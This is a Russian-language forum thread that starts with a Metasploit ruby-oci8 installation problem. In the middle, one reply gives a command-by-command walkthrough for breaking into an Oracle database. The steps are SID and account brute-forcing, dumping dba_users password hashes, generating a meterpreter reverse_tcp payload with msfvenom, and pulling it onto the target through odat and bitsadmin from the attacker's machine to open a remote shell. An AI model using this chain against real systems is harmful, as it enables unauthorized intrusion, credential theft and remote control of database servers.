![]() |
Добрый день, есть проблема с Metasploit. Пытаюсь использовать модуль для повышения привилегий пользователя в БД:
Код:
auxiliary/sqli/oracle/lt_findricset_cursorКод:
gem install ruby-oci8Я использовал KaliLinux 2018.3. Как я понял в системе руби и руби в самом Metasploit и какая та проблема именно в этом. Есть ли тут люди разбиравшиеся с такой проблемой? В инструкции что выше есть пункт такой Код: Код:
root@kali:~/ruby-oci8-ruby-oci8-2.1.8# export PATH=/opt/metasploit/ruby/bin:$PATHКод:
opt/maslploit |
Принято,пока поднимаю просто вопрос в шапку форума ,он сложный,там надо payload генерировать при атаке на эту БД.
Отпишусь позже и поделюсь мыслями и решением. |
В общем,голыми руками без подготовки такую БД не взять.
Покажу как можно атаковать такую БД без вышеприведённого модуля и скачивания доп.пакетов или установки самой БД. Для этой БД актуальны такие порты как tcp-1521,22,23 Tns-listener взаимодействует с этой базой. Код: Код:
Проверяем nmap # nmap -n -sV IP -цели -p 1521Код: Код:
# msf > use auxiliary/admin/oracle/tnscmdКод: Код:
# > use auxiliary/scanner/oracle/sid_enum -но это сработает для старых версий.И увы,но без брута не обойтись: Код: Код:
# use auxiliary/admin/oracle/sid_bruteИ пытаемся достать учётные записи Здесь мы не только уже можем запустить прослушиватель,но и брутить аккаунты: Код: Код:
# msf > use auxiliary/scanner/oracle/oracle_loginЗдесь используется принцип большинства,что аккаунтов может быть много и у них разные привелегии,возможно некоторые не будут отключены. Задача сбрутить хоть один аккаунт,но желательно , чтобы привелегии были немного хотя бы завышены. Если это всё получилось,то Респект. Дело за повышением привелегий, нужна утилита Sqlplus,которой мы передадим логин с паролем и мы подключимся к Oracle: Код: Код:
# sqlpluse ЛОГИН/ПАРОЛЬ@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(Host=IP-цели)(Port=1521))(CONNECT_DATA=(SID=XE)))Код: Код:
# SQL > select username,password,account_status from dba_users;Используется для этого наличие проведения java-техник,проверяем на возможность с помощью утилиты odat: Код: Код:
# /opt/odat# python odat.py java -s IP-цели -U Логин -P Пароль -d XE --test-moduleКод: Код:
# /opt/odat# python odat.py dmsscheduller -s IP-цели -U Логин -P Пароль -d XE --test-moduleДля залития shell,надо генерировать payload,к примеру: Код: Код:
# msfvenom -p windows/meterpreter/reverse_tcp -a х86 --platform windows -e x86/shikata_ga_nai -i 3 LHOST IP-атак.машины LPORT=4444-f exe > назв_файла.exeКод: Код:
# /opt/odat# python odat.py dmsscheduler -s IP-цели -U Логин -P Пароль -d XE --ecec "C:\Windows\System32\cmd.exe /c bitsadmin /rawreturn /transfer getfiles http://IP-атак_машины/В случае с LInux используем wget. Теперь, подключаем Metasploit : Код: Код:
# use exploit/multi/handlerКод: Код:
# /opt/odat/# python odat.py dbmsscheduler -s IP-цели -U логин -P Пароль -d XE --exec "C:\назв_файла.exe"Ну и смотрим корень диска С: ls C:\\ Эксплойты можно применять при этом различные. P/S Конкретно по вопросу,попробуйте в начале установить отсюда Oracle, а потом то,что качали с Github. |
Все это хорошо. Благодарю за расширенный ответ. Но у меня больше проблемы в работаспособности модулей. Я как понял из коробки метасплойт не поддерживает работу с ораклом. Нужно доставлять дополнительные вещи. У меня есть стандартная учетная запись к базе SCOTT TIGER я получил SID. База на 9 оракле.
|
это на каком языке было? )
|
Обычно ошибку с gem install ruby-oci8 решали как здесь
Причина также может быть в проблеме с библиотекой,или её отсутствии LD_LIBRARY_PATH,тогда сюда На всякий случай,можно и сюда заглянуть |
а не будет ли готовой виртуальной машины Кали с полным набором?
|
Цитата:
|
| Время: 20:14 |